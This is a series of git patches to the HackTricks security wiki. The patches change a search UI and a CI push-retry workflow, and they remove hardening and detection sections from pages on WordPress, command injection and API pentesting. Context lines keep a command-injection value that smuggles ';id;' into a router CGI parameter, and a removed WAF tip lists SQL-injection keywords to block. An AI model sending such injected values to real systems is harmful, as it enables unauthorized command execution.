{bar.focus();}} else {const a=cur.querySelector('a'); if(a) window.location.assign(a.href);}} + }); + + bar.addEventListener('input',e=>{ clearTimeout(debounce); debounce=setTimeout(()=>worker.postMessage({query: e.target.value.trim()}),120); }); + + /* ───────────── worker messages ───────────── */ + worker.onmessage = ({data}) => { + if(data && data.ready!==undefined){ + if(data.ready){ + icon.innerHTML=READY_ICON; + icon.setAttribute('aria-label','Open search (S)'); + icon.removeAttribute('title'); + } + else { + icon.textContent='❌'; + icon.setAttribute('aria-label','Search unavailable'); + icon.setAttribute('title','Search is unavailable'); + } + return; + } + const docs=data, q=bar.value.trim(), terms=q.split(/\s+/).filter(Boolean); + header.textContent=metric(docs.length,q); + clear(list); + docs.forEach(d=>{const li=document.createElement('li'); li.innerHTML=format(d,terms); list.appendChild(li);}); + listOut.classList.toggle('hidden',!docs.length); + }; + })(); + \ No newline at end of file From d134067b8560204246fafa73587e3509f4df5959 Mon Sep 17 00:00:00 2001 From: carlospolop Date: Sat, 4 Oct 2025 02:06:34 +0200 Subject: [PATCH 09/15] f --- .github/workflows/build_master.yml | 59 +++++++++++++++++++++++++++--- 1 file changed, 53 insertions(+), 6 deletions(-) diff --git a/.github/workflows/build_master.yml b/.github/workflows/build_master.yml index de7576627..f11da8c51 100644 --- a/.github/workflows/build_master.yml +++ b/.github/workflows/build_master.yml @@ -89,12 +89,59 @@ jobs: # Stage the updated file git add "${FILENAME}.gz" - # Commit with timestamp if there are changes - TIMESTAMP=$(date -u +"%Y-%m-%d %H:%M:%S UTC") - git commit -m "Update searchindex files - ${TIMESTAMP}" || echo "No changes to commit" - - # Push to master branch - git push origin master + # Commit and push with retry logic + if git diff --staged --quiet; then + echo "No changes to commit" + else + TIMESTAMP=$(date -u +"%Y-%m-%d %H:%M:%S UTC") + git commit -m "Update searchindex files - ${TIMESTAMP}" + + # Retry push up to 20 times with pull --rebase between attempts + MAX_RETRIES=20 + RETRY_COUNT=0 + while [ $RETRY_COUNT -lt $MAX_RETRIES ]; do + if git push origin master; then + echo "Successfully pushed on attempt $((RETRY_COUNT + 1))" + break + else + RETRY_COUNT=$((RETRY_COUNT + 1)) + if [ $RETRY_COUNT -lt $MAX_RETRIES ]; then + echo "Push failed, attempt $RETRY_COUNT/$MAX_RETRIES. Pulling and retrying..." + + # Try normal rebase first + if git pull --rebase origin master 2>&1 | tee /tmp/pull_output.txt; then + echo "Rebase successful, retrying push..." + else + # If rebase fails due to divergent histories (orphan branch reset), re-clone + if grep -q "unrelated histories\|refusing to merge\|fatal: invalid upstream\|couldn't find remote ref" /tmp/pull_output.txt; then + echo "Detected history rewrite, re-cloning repository..." + cd /tmp + rm -rf searchindex-repo + git clone https://x-access-token:${TOKEN}@github.com/${TARGET_REPO}.git searchindex-repo + cd searchindex-repo + git config user.name "GitHub Actions" + git config user.email "github-actions@github.com" + + # Re-copy the .gz version + cp "${GITHUB_WORKSPACE}/${ASSET}.gz" "${FILENAME}.gz" + + git add "${FILENAME}.gz" + TIMESTAMP=$(date -u +"%Y-%m-%d %H:%M:%S UTC") + git commit -m "Update searchindex files - ${TIMESTAMP}" + echo "Re-cloned and re-committed, will retry push..." + else + echo "Rebase failed for unknown reason, retrying anyway..." + fi + fi + + sleep 1 + else + echo "Failed to push after $MAX_RETRIES attempts" + exit 1 + fi + fi + done + fi echo "Successfully pushed searchindex files" From 52b790ed7a528dc6002e6ab5414485f14a49fb0f Mon Sep 17 00:00:00 2001 From: carlospolop Date: Sat, 4 Oct 2025 10:57:53 +0200 Subject: [PATCH 10/15] f --- src/welcome/hacktricks-values-and-faq.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index a5b53905c..99e5fe656 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -48,7 +48,7 @@ Yes, you can, but **don't forget to mention the specific link(s)** where the con > [!TIP] > -> - **How can I cite a page of HackTricks?** +> - **How can I reference a page of HackTricks?** As long as the link **of** the page(s) where you took the information from appears it's enough.\ If you need a bibtex you can use something like: From b97cee43952da3d0c3b6507615e6feed7d943d50 Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Sat, 4 Oct 2025 11:00:33 +0200 Subject: [PATCH 11/15] Update wordpress.md --- .../pentesting-web/wordpress.md | 55 ------------------- 1 file changed, 55 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index b935c8f67..c25e585e4 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -447,15 +447,6 @@ Detection checklist - Review REST registrations for privileged callbacks that lack robust `permission_callback` checks and instead rely on request headers. - Look for usages of core user-management functions (`wp_insert_user`, `wp_create_user`) inside REST handlers that are gated only by header values. -Hardening - -- Never derive authentication or authorization from client-controlled headers. -- If a reverse proxy must inject identity, terminate trust at the proxy and strip inbound copies (e.g., `unset X-Wcpay-Platform-Checkout-User` at the edge), then pass a signed token and verify it server-side. -- For REST routes performing privileged actions, require `current_user_can()` checks and a strict `permission_callback` (do NOT use `__return_true`). -- Prefer first-party auth (cookies, application passwords, OAuth) over header “impersonation”. - -References: see the links at the end of this page for a public case and broader analysis. - ### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement: @@ -511,31 +502,6 @@ Other impactful targets include plugin/theme `.php` files (to break security plu * Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`). * Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`. -#### Hardening - -```php -function secure_remove_font_family() { - if ( ! is_user_logged_in() ) { - wp_send_json_error( 'forbidden', 403 ); - } - check_ajax_referer( 'litho_fonts_nonce' ); - - $fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) ); - $srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily; - - if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) { - wp_send_json_error( 'invalid path', 400 ); - } - // … proceed … -} -add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' ); -// 🔒 NO wp_ajax_nopriv_ registration -``` - -> [!TIP] -> **Always** treat any write/delete operation on disk as privileged and double-check: -> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`). - --- ### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") @@ -565,12 +531,6 @@ Why it’s exploitable - If a user previously had higher privileges saved in `_asenha_view_admin_as_original_roles` and was downgraded, they can restore them by hitting the reset path. - In some deployments, any authenticated user could trigger a reset for another username still present in `viewing_admin_as_role_are` (broken authorization). -Attack prerequisites - -- Vulnerable plugin version with the feature enabled. -- Target account has a stale high-privilege role stored in user meta from earlier use. -- Any authenticated session; missing nonce/capability on the reset flow. - Exploitation (example) ```bash @@ -591,21 +551,6 @@ Detection checklist - Modify roles via `add_role()` / `remove_role()` without `current_user_can()` and `wp_verify_nonce()` / `check_admin_referer()`. - Authorize based on a plugin option array (e.g., `viewing_admin_as_role_are`) instead of the actor’s capabilities. -Hardening - -- Enforce capability checks on every state-changing branch (e.g., `current_user_can('manage_options')` or stricter). -- Require nonces for all role/permission mutations and verify them: `check_admin_referer()` / `wp_verify_nonce()`. -- Never trust request-supplied usernames; resolve the target user server-side based on the authenticated actor and explicit policy. -- Invalidate “original roles” state on profile/role updates to avoid stale high-privilege restoration: - -```php -add_action( 'profile_update', function( $user_id ) { - delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); -}, 10, 1 ); -``` - -- Consider storing minimal state and using time-limited, capability-guarded tokens for temporary role switches. - --- ### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) From 7638765b53f229873991fc05f5e7390d0691538e Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Sat, 4 Oct 2025 11:01:06 +0200 Subject: [PATCH 12/15] Update wordpress.md --- .../pentesting-web/wordpress.md | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index c25e585e4..cf9b546a2 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -913,18 +913,6 @@ Hardening - Enforce allowlisted templates; resolve with realpath() and require str_starts_with(realpath(file), realpath(allowed_base)) - Normalize input; reject traversal sequences and absolute paths; use sanitize_file_name() only for filenames (not full paths) ---- - -### Operational detection and virtual patching tips (application layer) - -Until vendors ship fixes, block high-risk routes/parameters at the application layer (e.g., WAF/virtual patching engines that understand WordPress semantics): - -- Block unauthenticated POSTs to /wp-json/sure-triggers/v1/connection/create-wp-connection -- Enforce capability-aware blocks on /plugin/install_and_activate for non-admin callers -- For depicter-* actions, drop requests where s contains SQLi metas ("'", '"', '/*', '*/', '--', ';', 'or ', 'union ', 'select '), tuned per-site -- For __kubio-site-edit-iframe-classic-template, block traversal patterns (../, ..\) and absolute paths - -Logging: monitor for hits to the above and alert on nonces used pre-auth or surges in depicter-* queries. ## References From 5b9ec7fcd6a62609cca351cf6c8a686272ff11d5 Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Sat, 4 Oct 2025 11:06:35 +0200 Subject: [PATCH 13/15] Update command-injection.md --- src/pentesting-web/command-injection.md | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index e84179e05..d3e593336 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -189,13 +189,6 @@ topicurl=¶m=-n topicurl=setEasyMeshAgentCfg&agentName=;id; ``` -Hardening and detection: - -- Reject inputs that start with `-` and enforce strict allowlists and types (IP, MAC, SSID, etc.). -- Always pass user data after a literal `--` where supported and never allow extra flags from user-controlled fields. -- Prefer safe APIs (no shell); for wrappers, construct fixed argv templates with no user-controlled flags. -- Look for unauthenticated hits to centralized CGI endpoints (e.g., `/cgi-bin/cstecgi.cgi`) with selector parameters and values beginning with `-`. - ## Brute-Force Detection List @@ -213,4 +206,4 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) - [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) -{{#include ../banners/hacktricks-training.md}} \ No newline at end of file +{{#include ../banners/hacktricks-training.md}} From 2220ccfef231eccd83133fe641f4b404412467b0 Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Sat, 4 Oct 2025 11:08:00 +0200 Subject: [PATCH 14/15] Update web-api-pentesting.md --- .../pentesting-web/web-api-pentesting.md | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index 0ff6690ff..00497a50f 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -75,17 +75,6 @@ Impact to assess - Data corruption via non-idempotent restarts: Forcing concurrent runs of migrations/workers can create race conditions and inconsistent partial states (silent data loss, broken analytics). - DoS via worker/DB starvation: Repeatedly triggering heavy jobs can exhaust worker pools and database connections, causing tenant-wide outages. -Detection heuristics - -- Look for sensitive semantics in procedure names: `*migrations*`, `*admin*`, `*status*`, `*retry*`, `*featureFlags*`, `*tenants*`, `*jobs*`. -- Compare responses across roles: If a basic user can successfully call state-changing admin endpoints, you likely have BFLA/BOLA. -- Check for missing server-side RBAC/ABAC in middleware. Input validation with Zod is orthogonal to authorization. - -Notes for remediation (for dev teams you report to) - -- Introduce an explicit `adminProcedure` or equivalent middleware that enforces role/permission checks on all sensitive routers (`list`/`all`, `status`, `retry`, etc.). -- Add rate limiting and idempotency/locking around maintenance endpoints to limit blast radius. - ### **Tools and Resources for API Pentesting** - [**kiterunner**](https://github.com/assetnote/kiterunner): Excellent for discovering API endpoints. Use it to scan and brute force paths and parameters against target APIs. From 238e7c384b21d588e5a0fcae0424841fce7fc3cb Mon Sep 17 00:00:00 2001 From: carlospolop Date: Tue, 7 Oct 2025 10:58:02 +0200 Subject: [PATCH 15/15] f --- src/README.md | 2 +- src/images/k8studio.jpg | Bin 6667 -> 0 bytes src/images/k8studio.png | Bin 0 -> 88827 bytes 3 files changed, 1 insertion(+), 1 deletion(-) delete mode 100644 src/images/k8studio.jpg create mode 100644 src/images/k8studio.png diff --git a/src/README.md b/src/README.md index e2de6153a..95e87d653 100644 --- a/src/README.md +++ b/src/README.md @@ -226,7 +226,7 @@ https://www.lasttowersolutions.com/ ### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/) -
k8studio logo
+
k8studio logo
K8Studio IDE empowers DevOps, DevSecOps, and developers to manage, monitor, and secure Kubernetes clusters efficiently. Leverage our AI-driven insights, advanced security framework, and intuitive CloudMaps GUI to visualize your clusters, understand their state, and act with confidence. diff --git a/src/images/k8studio.jpg b/src/images/k8studio.jpg deleted file mode 100644 index 1c427e89fa5348b69ee377112fe4841a2960c2f8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6667 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 aSMyP>bE5UmqebZX#jO=e^LrmJ_Wd8$Cy6rv diff --git a/src/images/k8studio.png b/src/images/k8studio.png new file mode 100644 index 0000000000000000000000000000000000000000..0add889f2f1854c1141ca35b43a867a37bbb1b57 GIT binary patch literal 88827 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 